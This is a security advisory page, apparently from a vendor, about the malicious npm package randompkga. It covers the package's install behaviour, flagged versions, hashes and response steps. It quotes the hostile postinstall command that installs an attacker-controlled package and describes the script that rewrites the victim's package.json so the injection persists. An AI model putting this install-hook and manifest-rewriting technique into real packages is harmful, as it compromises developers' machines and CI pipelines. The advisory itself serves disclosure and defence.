NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
Malicious package

randompkganpm

Advisory published Updated

randompkga is a confirmed malicious npm package (MAL-2026-16255) that executes malicious code on install (malicious versions 1.0.1, 1.0.2, 1.0.3…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in randompkga (npm)

MAL-2026-16255
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall randompkga

What this malware does

package.json declares a postinstall lifecycle script cd "$INIT_CWD" && npm i randompkgb that, on npm install, installs the additional npm package randompkgb into the consumer's project. A companion postinstall.js reads the installer's own package.json at $INIT_CWD, sets dependencies.randompkgb = "^1.0.0", and writes the manifest back to disk, persisting the injected dependency across future installs and CI runs. The caret range is unpinned, so any current or future version of randompkgb — whose code is not present in this package and is not controlled by the installer — will be resolved and executed on the installer's machine at install time and on require. This is dependency-tree hijacking: the mechanism drops attacker-controlled third-party code into the installer's environment and rewrites source-controlled project state to make the injection durable.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

22 flagged
1.0.11.0.21.0.31.0.41.0.51.0.61.0.71.0.81.0.91.0.101.0.111.0.121.0.131.0.141.0.151.0.161.0.171.0.181.0.191.0.201.0.211.0.22

Indicators of compromise (SHA-256)

cfdfcd7cd3af1c7b280e6f13503a472f2b31582e239d6fac0b6cacc1709cf36f
31f35b98b4828f28ae12919b3dc36f3b16d71000fb390935c221de00301a1faf
3c67e727720af8702d674dccaf02d709f3a1c9d74827dab74e7efd87a41e0f7c
5616656af6ab4c55e7bec4a27cbadb608ca056e142993b2d895ab430e4740cd3
687b668264dbb5cc949fd4c8700e3e9684776801fa3ac7cdea2268e7ee013089
841ec0fb5dd7377b43d01a0781f9e373330d87ce51fe6050ec97cfdf53decb96
92d6bc390bc4003519b01e318613738aee9efd2c1c4b8b82af732353920ff691
b89603277273a7a8064c231026152b664aecb0438b62a9603055b49ec5fd9d8d
1c01216b25d420e56a50f3dec58ceb5f1b6a125bcd452e93a4760b19dbfb1b09
21d7373bdb55e4041ce5c2c54d05d875bc5e8c1f4b7d4aff0608c9c3ae263ebd
2474f480fc3f08d60dac9d98810c1eb4a8ad9522cefa9d9e9f662f4e5681d0f6
47f8891eb50f89d2b0db9c8ec91d0fcc23d6b76259cc68679921efe6ade40f59
4adb3d27de377587364daef0e1b953f2827f5fab995467fa8e12894413a12678
c4e7dfd8fb150e4c7f087a17c2ed162a8e48fe7e4e253a68df901f0e775fd68c
1d2ff575494a8b11d2baf943c075c91e289f58eb3f3d84a325c6960bf775c42d
606aadf55f38089f26f09620d5a332e0a072b4899925588df9abfcf8eeeeb463
a1135687a5c1d80c8fc03ef3a287e473fa50c67572dc44482596198c7ec53215
b081d455b2df538a8c6f8abeb947f173342b632182cc4ec6f36a4cca702411a8
b251ee8c0562ee1aafc87c82807cc31cff0c6ee011e374e6f2bd7b13387498ce
cc265a5eb062bf338ace9ae25b6db697149e6ce194c7af1d09dc987b3f29f38e
cd048b3efbb078fbd63a1cde3f92e22bea656decc3701970cead769a6b9e98a2
ceffaeeca1dda0a41ac81a86232f30b2020ad3b784d9c829db1b7ee548b39fa4
feaaaa61b03a41893b5626f797ac907994360574a24269a47f862165ca19f4b2
3cdd3f0c6550917a46a19ec7810ca5e68d4ba0d46bf66dcdd67fe2e802f89769

Detection & response playbook

Malicious package
  1. Find it

    Search your lockfiles and build artifacts for randompkga (22 malicious versions).

  2. If you installed it — respond

    Remove randompkga from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound activity or persistence.

  3. Did it already run?

    If randompkga was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. randompkga on npm has been identified as a malicious package (versions 1.0.1, 1.0.2, 1.0.3, 1.0.4, 1.0.5, 1.0.6, 1.0.7, 1.0.8, and 14 more flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

GHSA-532p-c872-3926IN-MAL-2026-020170IN-MAL-2026-020163IN-MAL-2026-020169IN-MAL-2026-020157IN-MAL-2026-020160IN-MAL-2026-020158IN-MAL-2026-020162IN-MAL-2026-020165IN-MAL-2026-020159IN-MAL-2026-020166IN-MAL-2026-020161IN-MAL-2026-020167IN-MAL-2026-020164IN-MAL-2026-020168IN-MAL-2026-020374IN-MAL-2026-020364IN-MAL-2026-020366IN-MAL-2026-020424IN-MAL-2026-020370IN-MAL-2026-020369IN-MAL-2026-020371IN-MAL-2026-020373IN-MAL-2026-020372

References

Credits

  • Amazon Inspector · finder

Detect & block this

O3 blocks randompkga-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the malicious outbound activity and severs the channel.

Explore

randompkga (npm) malicious package — MAL-2026-16255 | O3 Security